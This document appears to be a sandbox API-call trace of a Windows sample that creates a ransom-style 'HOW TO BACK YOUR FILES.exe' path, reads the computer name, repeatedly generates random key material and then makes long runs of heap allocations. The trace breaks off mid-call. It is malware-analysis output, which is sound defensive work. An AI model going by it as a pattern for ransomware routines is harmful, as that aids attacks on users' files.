(in: lpStartupInfo=0x44fb20 | out: lpStartupInfo=0x44fb20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0029.700] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe\" " [0029.700] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe\" ", pNumArgs=0x44fb2c | out: pNumArgs=0x44fb2c) returned 0x506e70*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe" [0029.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe") returned 71 [0029.701] lstrcatW (in: lpString1="", lpString2="CUsersGustavoDesktopAthena865.exe" | out: lpString1="CUsersGustavoDesktopAthena865.exe") returned="CUsersGustavoDesktopAthena865.exe" [0029.701] lstrcpynW (in: lpString1=0x169120, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersGustavoDesktopAthena865.exe", iMaxLength=39 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0029.701] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0029.701] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpString2="ids.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" [0029.701] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7001) returned 0x508078 [0029.701] GetEnvironmentVariableW (in: lpName="allusersprofile", lpBuffer=0x168f00, nSize=0x104 | out: lpBuffer="C:\\ProgramData") returned 0xe [0029.701] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0029.701] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe") returned="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" [0029.701] GetComputerNameW (in: lpBuffer=0x15fec0, nSize=0x44de54 | out: lpBuffer="XDUWTFONO", nSize=0x44de54) returned 1 [0029.811] CryptAcquireContextW (in: phProv=0x44d8bc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d8bc*=0x506fd0) returned 1 [0029.960] CryptGenRandom (in: hProv=0x506fd0, dwLen=0x80, pbBuffer=0x44d8d0 | out: pbBuffer=0x44d8d0) returned 1 [0029.960] CryptReleaseContext (hProv=0x506fd0, dwFlags=0x0) returned 1 [0029.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x507238 [0029.960] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200) returned 0x506f98 [0029.960] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80 [0029.961] GetLastError () returned 0x0 [0029.961] ReadFile (in: hFile=0x80, lpBuffer=0x508078, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x44de54, lpOverlapped=0x0 | out: lpBuffer=0x508078*, lpNumberOfBytesRead=0x44de54*=0x0, lpOverlapped=0x0) returned 1 [0029.961] GetSystemTime (in: lpSystemTime=0x1696e0 | out: lpSystemTime=0x1696e0*(wYear=0x7e3, wMonth=0x9, wDayOfWeek=0x6, wDay=0x1c, wHour=0x4, wMinute=0x27, wSecond=0x22, wMilliseconds=0x5a)) [0029.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x510370 [0029.961] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5107d0 [0029.961] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.962] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.962] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.962] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.963] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.963] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.963] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.964] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.964] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.964] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.964] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.964] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.964] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.965] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.965] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.965] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.966] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.966] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.966] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.967] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.967] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.967] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.967] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.967] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.968] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.968] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.968] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.968] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.969] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.969] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.969] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.970] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.970] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.970] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.971] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.971] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.971] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.972] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.972] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.972] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.972] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.972] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.972] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.973] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.973] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0029.973] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0029.974] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0029.974] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0030.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0030.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.036] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.037] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.037] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5111f0 [0030.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x511280 [0030.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511310 [0030.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x510380 [0030.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x513420 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513538 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513538 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510218 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510218 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x513538 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511780 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513538 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.038] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.038] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.039] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.039] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x510380 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x510380 | out: hHeap=0x4f0000) returned 1 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x513420 | out: hHeap=0x4f0000) returned 1 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513420 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5134b0 [0030.040] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513540 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5135d0 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513660 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5136f0 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513780 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513810 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5138a0 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513930 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5139c0 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513a50 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ae0 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513b88 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513c18 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ca8 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513d38 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513dc8 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513e58 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513ee8 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x513f78 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514008 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514098 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514128 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5141b8 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514248 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5142d8 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514368 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5143f8 [0030.041] RtlAllocateHeap (HeapHandle=0x4f0000, 